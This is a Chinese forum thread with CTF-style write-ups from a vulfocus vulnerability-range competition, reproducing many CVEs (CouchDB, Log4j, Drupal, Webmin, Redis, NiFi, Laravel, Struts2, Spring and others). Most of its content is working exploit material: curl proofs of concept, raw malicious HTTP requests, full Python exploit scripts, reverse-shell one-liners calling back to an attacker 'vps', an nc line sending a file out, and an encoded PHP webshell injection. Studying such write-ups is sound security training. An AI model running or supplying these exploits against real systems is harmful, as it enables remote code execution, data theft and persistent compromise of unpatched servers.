}题目号:059描述Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,javascript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。 CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。 复现看到主页一脸懵逼,这什么东西 不懂就上nmap扫指纹 nmap -p 20785 -sV -sC -v 106.75.119.109版本1.6.0
真正的主页http://106.75.119.109:20785/_utils/
POC curl -X PUT 'http://vulhub:vulhub@106.75.119.109:29486/_config/query_servers/cmd' -d '"ping -t 4 `ls /tmp`.wu5vm3.dnslog.cn"'
curl -X PUT 'http://vulhub:vulhub@106.75.119.109:29486/vultest123456
curl -X PUT 'http://vulhub:vulhub@106.75.119.109:29486/vultest123456/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7a"}'
curl -X POST 'http://vulhub:vulhub@106.75.119.109:29486/vultest123456/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'坑点,在执行第二遍的第二条命令时会报错(无法创建数据库,文件已存在。),需要把vultest123456改一下,三和四也要改成一样的。 题目号:062描述Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。 CVE编号:CVE-2021-44228 复现工具地址 https://github.com/Mr-xn/JNDIExploit-1root@iZ2zegj6z62g2us7qvukxsZ:~/test# java -jar JNDIExploit-1.2-SNAPSHOT.jar -i xxxxxxxxxx -l 7000 -p 5000
[+] LDAP Server Start Listening on 7000...
[+] HTTP Server Start Listening on 5000...payload=${jndi:ldap://xxx.xxx.xxx.xxx:7000/TomcatBypass/TomcatEcho}题目号:071描述Spring Web Flow建立在Spring MVC之上,并允许实现Web应用程序的“流” 由于没有明确指定相关 model 的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞 CVE编号:CVE-2017-4971 复现点击Login进入登录模块 多个默认账号与密码,随意挑选一个进行登录
漏洞触发点 http://your-ip/hotels/1 点击Book Hotel
填写好点击proceed
在点击Confirm的时候抓下包
payload _eventId_confirm=&_csrf=404e5fd4-b3e6-42f2-ac0c-23c16de3b1de&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/8089+0>%261")).start()=vulhub成功反弹shell
题目号:076描述Drupal core是Drupal社区所维护的一套用PHP语言开发的免费、开源的内容管理系统。 Drupal core 7.62之前的7.x版本、8.6.6之前的8.6.x版本和8.5.9之前的8.5.x版本中的内置phar stream wrapper(PHP)存在远程代码执行漏洞。远程攻击者可利用该漏洞执行任意的php代码。 cve编号:cve-2019-6339 复现先登录:用户名密码:admin/123456(比赛中用的密码基本都是这种弱密码)
POC下载地址 https://github.com/thezdi/PoC/tree/master/Drupal 进入链接上传POC http://xxx.xxx.xxx.xxx/user/1/edit
复制图片链接http://xxx.xxx.xxx.xxx:36857/sites/default/files/pictures/2021-12/blog-ZDI-CAN-7232-cat.jpg Drupal的默认文件保存地址是/site/default/files/pictures/xxx-xxx/图片名字 然后设置一个临时目录 http://xxx.xxx.xxx.xxx:55965/admin/config/media/file-system 改成phar://./sites/default/files/pictures/2021-12/blog-ZDI-CAN-7232-cat.jpg放入Temporary directory 点击Save configuration保存日志触发漏洞
修改poc,让其执行的命令为:ls /tmp 使用工具:winhex 前面的s:7一定修改,ls /tmp的字节为7
保存图片,上传,触发
题目号:077描述Nostromo nhttpd是一款开源的Web服务器。 Nostromo由于在验证URL安全性方面存在缺陷,导致目录穿越,任何人都可以遍历系统中任何文件。因此未经过身份验证的远程攻击者可以强制服务器指向/bin/sh这样的shell文件,借此执行任意命令。 CVE编号:cve-2019-16278 复现http://106.75.119.109:24149/..%0D/..%0D/..%0D/..%0D/..%0D/..%0D/etc/passwd
http://106.75.119.109:24149/..%0D/..%0D/..%0D/..%0D/..%0D/..%0D/tmp/
结尾一些做题技巧,当打开题目无从下手时,可以利用指纹扫描工具比如Goby、Xray、vulmap、nmap,指纹信息搭配Goby可快速利用漏洞(渗透测试本质就是信息收集),也可根据指纹信息去靶场环境搜索找到CVE编号然后百度找复现文章(坑点多),或者去github找大佬写好的工具一把梭,在复现学习过程中不建议复现完漏洞就完事,做好笔记,学习漏洞点,学习攻击手法。 仅代表个人的评价比赛与总结:感觉像是把CTF(夺旗比赛)与实战(各种实战中可能遇到的漏洞)融合。漏洞日益渐增,复现/分析/了解漏洞一直是比较困难的,要么自己找源码去尝试,要么借助网络空间安全搜索引擎(fofa)在未授权的环境进行测试复现,vulfocus的出现不仅保护了网络上的安全,也保护了不懂法的小白,希望vulfocus与办越好。下次我一定要找俩队友冲进前五。
|
| | [tr][/tr]
| 回复 [url=]举报[/url]
| | |
| 地板
楼主| 发表于 21 分钟前 | 只看该作者
作者:givemefivw@上海观安信息技术股份有限公司
声明:本文提及的工具仅用于对已授权的目标进行测试,请自行学习网络安全法,因使用本文提供的思路造成的损失,本文作者及工具的作者、白帽汇均不承担责任。继续阅读意味着您理解并同意本声明。
038 Drupal打开靶场,得到信息Powered by Drupal:
访问user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax目录
说明可能存在CVE-2018-7600 抓包修改数据: POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1Host: 106.75.119.109:51572Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=sjigddfdaehhpom7vrqp7gc7o3Accept-Encoding: gzip, deflateConnection: closeContent-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663Content-Type: application/x-www-form-urlencodedContent-Length: 621-----------------------------99533888113153068481322586663Content-Disposition: form-data; name="mail[#post_render][]"passthru-----------------------------99533888113153068481322586663Content-Disposition: form-data; name="mail[#type]"markup-----------------------------99533888113153068481322586663Content-Disposition: form-data; name="mail[#markup]"ls /tmp-----------------------------99533888113153068481322586663Content-Disposition: form-data; name="form_id"user_register_form-----------------------------99533888113153068481322586663Content-Disposition: form-data; name="_drupal_ajax"得到flag:flag-{bmh47f9f13a-1a64-4881-a952-8af433bde8d4}
062 Log4j启动靶场,在页面抓包 在VPS启动JNDI工具 POST /hello HTTP/1.1Host: 106.75.119.109:19542Content-Length: 68Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Origin: <http://106.75.100.72:61111>cmd:ls /tmpContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: <http://106.75.119.109:19542>Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closepayload=${jndi:ldap://vps:1389/TomcatBypass/TomcatEcho}得到flag
045 Webmin
无需登陆,使用脚本直接拿flag
完整数据包: POST /password_change.cgi HTTP/1.1Host: 106.75.119.109:50093CAccept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeCookie: redirect=1; testing=1; sid=x; sessiontest=1Referer: <https://106.75.119.109:50093/session_login.cgi>Content-Type: application/x-www-form-urlencodedContent-Length: 67user=rootxx&pam=&expired=2&old=test|ls /tmp&new1=test2&new2=test2&=
注意这里两个flag,使用第一个。 27 redis看到端口映射信息:6379:11230 redis未授权
利用主从复制拿到Shell 下载两个脚本:```java<https://github.com/n0b0dyCN/redis-rogue-server><[url]https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server>[/url]将 redis-rogue-server的exp.so文件复制到 Awsome文件夹中使用,因为exp.so带 system模块 1、开启监听——nc -lvnp 9999 2、攻击机开启主服务器——python3 redis_rogue_server.py -v -path exp.so 然后靶机执行:```javaconfig set dir /tmp//一般tmp目录都有写权限,所以选择这个目录写入config set dbfilename exp.so//设置导出文件的名字 这里就是创建一个空文件slaveof vps 15000//进行主从同步,将恶意so文件写入到tmp文件//端口可以自定义
然后加载恶意so文件 module load ./exp.so //加载写入的so文件模块module list//ັ查看恶意的so文件有没有写入成功
反弹Shell:system.rev vps 9999
70 nodejs(方法是其他大佬提供的)http://106.75.119.109:28589/api/getServices?name[]=$(find%20/%20-name%20%22*flag*%22%20%3E%201.txt)
http://106.75.119.109:28589/api/getServices?name[]=$(nc%20vps%202333%20%3C%201.txt)
48 phpok CVE-2018-12491任意文件上传打开靶场
搜索历史漏洞,找到CVE-2018-12491任意文件上传: https://blog.csdn.net/weixin_42582241/article/details/104593164#:~:text=%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0%EF%BC%9Aphp,%EF%BC%8C%E8%8E%B7%E5%8F%96%E7%BD%91%E7%AB%99%E6%9D%83%E9%99%90%E3%80%8232 JunAMS CNVD-2020-24741文件上传
https://blog.csdn.net/YouthBelief/article/details/12140351241 Nifi Api 远程代码执行
搜索历史漏洞,找到此处: https://github.com/freeFV/CVE-2020/blob/main/Apache%20NiFi%20Api%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(RCE).mdexp.py: import sysimport jsonimport requests as reqclass Exp: def __init__(self, url): self.url = url def check_is_vul(self): url = self.url + "/nifi-api/access/config" try: res = req.get(url=url, verify=False) data = res.json() return not data["config"]["supportsLogin"] except Exception as e: pass return False def clean_up(self, p_id): url = self.url + "/nifi-api/processors/" + p_id + "/run-status" data = {'revision': {'clientId': 'x', 'version': 1}, 'state': 'STOPPED'} req.put(url=url, data=json.dumps(data), verify=False) req.delete(url + "/threads", verify=False) def exploit(self, cmd): g_id = self.fetch_process_group() if g_id: p_id = self.create_process(g_id) if p_id: self.run_cmd(p_id=p_id, cmd=cmd) self.clean_up(p_id=p_id) def run_cmd(self, p_id, cmd): url = self.url + "/nifi-api/processors/" + p_id cmd = cmd.split(" ") data = { 'component': { 'config': { 'autoTerminatedRelationships': ['success'], 'properties': { 'Command': cmd[0], 'Command Arguments': " ".join(cmd[1:]), }, 'schedulingPeriod': '3600 sec' }, 'id': p_id, 'state': 'RUNNING' }, 'revision': {'clientId': 'x', 'version': 1} } print(data) headers = { "Content-Type": "application/json", } res = req.put(url=url, data=json.dumps(data), headers=headers, verify=False) return res.json() def fetch_process_group(self): url = self.url + "/nifi-api/process-groups/root" try: res = req.get(url=url, verify=False) data = res.json()["id"] return data except Exception as e: pass return 0 def create_process(self, process_group_id): url = self.url + "/nifi-api/process-groups/" + process_group_id + "/processors" data = { 'component': { 'type': 'org.apache.nifi.processors.standard.ExecuteProcess' }, 'revision': { 'version': 0 } } headers = { "Content-Type": "application/json", } try: res = req.post(url=url, data=json.dumps(data), headers=headers, verify=False) return res.json()["id"] except Exception as e: pass return 0if __name__ == '__main__': if len(sys.argv) != 3: print("rce.py url cmd") else: url = sys.argv[1] # <http://192.168.1.1:8080> cmd = sys.argv[2] # nc -e /bin/bash 192.168.1.129 1234 e = Exp(url) e.exploit(cmd)脚本使用时注意目标后面不加/,或者直接修改代码。 python3 exp.py http://106.75.119.109:15961 "nc -e /bin/bash vps port"44 Webmin(和45完全一样)
59 Couchdb CVE-2017-12636
exp.py: #!/usr/bin/env python3import requestsimport jsonimport base64from requests.auth import HTTPBasicAuthtarget = '<http://106.75.119.109:11374>'command = rb"""sh -i >& /dev/tcp/vps/4433 0>&1"""version = 1session = requests.session()session.headers = { 'Content-Type': 'application/json'}# session.proxies = {# 'http': '<http://127.0.0.1:8085>'# }session.put(target + '/_users/org.couchdb.user:wooyun', data='''{ "type": "user", "name": "wooyun", "roles": ["_admin"], "roles": [], "password": "wooyun"}''')session.auth = HTTPBasicAuth('wooyun', 'wooyun')command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()if version == 1: session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))else: host = session.get(target + '/_membership').json()['all_nodes'][0] session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))session.put(target + '/wooyun')session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')if version == 1: session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')else: session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
75 CVE-2021-32305 WebSVN 2.6.0 RCE
exp.py: import requestsimport argparsefrom urllib.parse import quote_plus PAYLOAD = "/bin/bash -c 'bash -i >& /dev/tcp/vps/7777 0>&1'"REQUEST_PAYLOAD = '/search.php?search=";{};"' parser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')parser.add_argument('target', type=str, help="Target URL.") args = parser.parse_args() if args.target.startswith("http://") or args.target.startswith("https://"): target = args.targetelse: print("[!] Target should start with either http:// or https://") exit() requests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD))) print("Request send. Did you get what you wanted?")
参考:https://blog.csdn.net/weixin_43526443/article/details/121742277 17 YAPi 远程命令执行https://www.jianshu.com/p/b1f79f346eca 22 St2-059但是不知道是靶场问题还是什么原因,弹不了Shell 公开的exp: import requestsurl ="<http://ip>:port"data1 = {"id":"%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"}data2 = {"id":"%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('payload'))}"}res1 = requests.post(url,data=data1)# print(res1.text)res2 = requests.post(url,data=data2)# print(res2.text)payload需要编码: bash -i >& /dev/tcp/vps/9967 0>&1<http://www.jackson-t.ca/runtime-exec-payloads.html>31 CVE-2021-3129 Laravel Debug mode RCE
下载phpggc:https://github.com/ambionics/phpggc exp: #!/usr/bin/python3import requests as reqimport os, uuidclass Exp: __gadget_chains = { "monolog_rce1": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""", "monolog_rce2": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce2 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""", "monolog_rce3": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce3 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""", } # phpggc链集合,暂时添加rce1后续再添加其他增强通杀能力 __delimiter_len = 8 # 定界符长度 def __vul_check(self): resp = req.get(self.__url, verify=False) if resp.status_code != 405 and "laravel" not in resp.text: return False return True def __payload_send(self, payload): header = { "Accept": "application/json" } data = { "solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "cve20213129", "viewFile": "" } } data["parameters"]["viewFile"] = payload resp = req.post(self.__url, headers=header, json=data, verify=False) # print(resp.text) return resp def __command_handler(self, command): """ 因为用户命令要注入到payload生成的命令中,为了防止影响结构,所以进行一些处理。 """ self.__delimiter = str(uuid.uuid1())[:self.__delimiter_len] # 定界符用于定位页面中命令执行结果的位置。 # print(delimiter) command = "echo %s && %s && echo %s" % (self.__delimiter, command, self.__delimiter) # print(command) escaped_chars = [' ', '&', '|'] # 我只想到这么多,可自行添加。 for c in escaped_chars: command = command.replace(c, '\\\\' + c) # print(command) return command def __clear_log(self): return self.__payload_send( "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log") def __gen_payload(self, gadget_chain): gen_shell = self.__gadget_chains[gadget_chain] % (self.__command) # print(gen_shell) os.system(gen_shell) with open('payload.txt', 'r') as f: payload = f.read().replace('\\n', '') + 'a' # 添加一个字符使得两个完整的payload总是只有一个可以正常解码 os.system("rm payload.txt") # print(payload) return payload def __decode_log(self): return self.__payload_send( "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log") def __unserialize_log(self): return self.__payload_send("phar://../storage/logs/laravel.log/test.txt") def __rce(self): text = self.__unserialize_log().text # print(text) echo_find = text.find(self.__delimiter) # print(echo_find) if echo_find >= 0: return text[echo_find + self.__delimiter_len + 1: text.find(self.__delimiter, echo_find + 1)] else: return "[-] RCE echo is not found." def exp(self): for gadget_chain in self.__gadget_chains.keys(): print("Try to use %s for exploitation." % (gadget_chain)) self.__clear_log() self.__clear_log() self.__payload_send('a' * 2) self.__payload_send(self.__gen_payload(gadget_chain)) self.__decode_log() print("Result:") print(self.__rce()) def __init__(self, target, command): self.target = target self.__url = req.compat.urljoin(target, "_ignition/execute-solution") self.__command = self.__command_handler(command) if not self.__vul_check(): print("[-] [%s] is seems not vulnerable." % (self.target)) print("You can also call obj.exp() to force an attack.") else: self.exp()def main(): Exp("<http://106.75.119.109:49216/>", "ls /tmp")if __name__ == '__main__': main()把exp和phpggc放在同一目录下,py3执行
30 苹果cms
插入一句话(test.php 连接密码test): <http://106.75.119.109:10343/index.php?m=vod-search&wd={if-A:print(fputs%28fopen%28base64_decode%28dGVzdC5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW3Rlc3RdKTsgPz4%29%29)}{endif-A}>
24 CVE-2017-8046 Spring Data Rest RCE扫描目录,发现存在http://106.75.119.109:49526/profile/persons目录 搜素相关漏洞
curl -X POST -i -H "Content-Type:application/json" -d '{"firstName":"Greg", "lastName":"Turnquist"}' <http://106.75.119.109:49526/persons>
访问persons/1页面抓包 修改请求方式为PATCH PATCH /persons/1 HTTP/1.1Host: 106.75.119.109:49526Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=sjigddfdaehhpom7vrqp7gc7o3; redirect=1; PHPSESSION=teujfkinrgs6ebhql3h7k49i30; thinkphp_show_page_trace=0|0; _yapi_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjE5LCJpYXQiOjE2NDA5MzM5NDcsImV4cCI6MTY0MTUzODc0N30.gOK1ez9e2w9ZtGO9IpoFBA12Ikhz22xwYMAb6F5C7Tg; _yapi_uid=19; JSESSIONID=CB81F834ADE3F7FFAD88A7357E3AC8D6; XSRF-TOKEN=eyJpdiI6IjBGN1gzeWVpR3ZwRDljQjVyYlNyV2c9PSIsInZhbHVlIjoieHpRSFV2cmRWZlpoQzRMYXEwcmIrT0JNSStydTBoUHFaYkZndW4vM2ZZZjhrTjVWazBZc0JEeXNpbGxvZjRXS1U2S1crY3pncVFsbGtycjAzT2Z2Q2ZBQWxta05oVDBJU050RkxiY3NnSlNGSThEUGNuZGR2ckJsa3ZqK3ZsREUiLCJtYWMiOiI2YWVlMWI1NTI1Yzk1N2M3NzljM2I1NjRkN2ViNTk3YTk2YTRiZGQyODFjYmZjYjY0Nzc3NWJhNmI0MmRhYzBlIn0%3D; laravel_session=eyJpdiI6ImRTeTVkOHVTMDk0c3AwQTNMUk1lb1E9PSIsInZhbHVlIjoiN1d4cXFiZlZUR2lEUGswQUhYeDhqamZHVGdyUmZJU1A1eTJjd3dQazlNVGpmcXIvbG56cnVPMTdpR3YrSW12SVp4UitYeE80d1ZJVVY1bGsyQlpkYSs3ZkJPNGhzTlJqUCsyVDN6SXJXWXoyZFMybS9TMU1Cd2wweEphUUVEajIiLCJtYWMiOiJjZDA5M2NhNTE0OTEzZWFhNDZiY2NmMjgyYjE2YTU5Nzg5ZmNhYjYzNmM5ZmU4MmM1MThkNTUzYmMwZTY2OTFjIn0%3DContent-Type:application/json-patch+jsonAccept-Encoding: gzip, deflateConnection: closeContent-Length: 452[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{payload}))/lastname", "value": "vulhub" }]其中payload字段反弹Shell转码后进行进制转换 payload = b'payload'bytecode = ','.join(str(i) for i in list(payload))print(bytecode)vps开启监听,成功反弹
50 Nagios Core(未完成)扫目录,扫到nagios
但是在网上只找到**CVE-2016-9565**
https://paper.seebug.org/146/ 找到了一个Exp,但是py2环境,没有利用成功:https://www.bugku.com/thread-87-1-1.html 比赛总结关于Wp本篇Wp并不完善,仅将比赛过程中我自己拿过flag的都写了出来,另外又加了几个当时没来得及做的。因为最近项目比较忙,在闲暇中磨出来的,所以难免有些错漏和不足之处,还望各位师傅见谅。 比赛评价除了比赛刚开始环境不稳和靶场开启上限之外,全程没有其他的痛点,所以总体我觉得比赛很可以的。就是最后的排名和我们的队名很有戏剧性。然后本次比赛综合来看是有点像比谁工具多,只要找到靶场的组件或者关键信息,就可以用工具直接打,有的还可以直接用goby扫。 些许建议1、希望能在靶场的描述界面增加一个访问端口的描述,有些靶场一开启映射了好几个端口,还需要自己判断一下,如果能指点一下访问哪个端口映射的就方便多了。 2、另一个小想法就是能不能效仿这次比赛,在靶场中增加“盲打”模式,不告知靶场名称,需要自行收集 |
|
|
|